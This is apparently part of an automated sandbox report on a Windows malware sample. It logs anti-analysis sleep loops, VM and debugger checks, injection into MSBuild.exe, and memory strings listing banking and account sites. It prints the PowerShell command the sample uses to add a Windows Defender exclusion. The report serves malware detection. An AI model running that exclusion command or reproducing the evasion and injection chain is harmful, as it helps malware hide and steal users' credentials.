Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Window / User API: threadDelayed 689 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Window / User API: threadDelayed 3286 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6032 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3792 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window / User API: threadDelayed 1584 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Window / User API: threadDelayed 2544 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -14757395258967632s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599891s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599766s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599656s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599547s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599438s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599313s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599188s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -599078s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598969s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598844s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598735s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598610s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598485s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598360s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598235s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -598110s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -597985s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -597567s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -597438s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 8044 Thread sleep time: -597293s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 7992 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe TID: 7736 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7832 Thread sleep count: 6032 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7820 Thread sleep count: 3792 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7892 Thread sleep time: -5534023222112862s >= -30000s Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe TID: 8144 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6672 Thread sleep time: -13835058055282155s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7188 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D59C108 FindFirstFileExW, 6_2_6D59C108
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599891 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599438 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599313 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599188 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 599078 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598969 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598844 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598735 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598610 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598485 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598360 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598235 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 598110 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597985 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597567 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597438 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 597293 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696497155j
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: 9LrEuTWP8s.exe, 00000001.00000002.1530637839.0000000001539000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696497155|UE
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696497155o
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: 9LrEuTWP8s.exe, 00000001.00000002.1530637839.0000000001491000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.1669008971.0000000006381000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: 9LrEuTWP8s.exe, 00000001.00000002.1530637839.0000000001539000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1650116521.0000000002E71000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \qemu-ga.exe
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696497155f
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696497155s
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: MSBuild.exe, 00000008.00000002.1662211642.0000000004021000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_0727E7E0 LdrLoadDll, 8_2_0727E7E0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D59BA57 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_6D59BA57
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D59D82B GetProcessHeap, 6_2_6D59D82B
Enables debug privileges
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process token adjusted: Debug Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D5975C1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 6_2_6D5975C1
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D59BA57 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_6D59BA57
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D597A9A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_6D597A9A
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Path1\To2\Save444'
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Path1\To2\Save444' Jump to behavior
Allocates memory in foreign processes
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F00000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F00000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F00000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F02000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F4E000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: FBA000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F02000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F4E000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: FBA000 Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: CF4008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Path1\To2\Save444' Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Path1\To2\Save444\uh3ex1.exe "C:\Path1\To2\Save444\uh3ex1.exe" Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D597C58 cpuid 6_2_6D597C58
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Queries volume information: C:\Users\user\Desktop\9LrEuTWP8s.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Queries volume information: C:\Path1\To2\Save444\uh3ex1.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
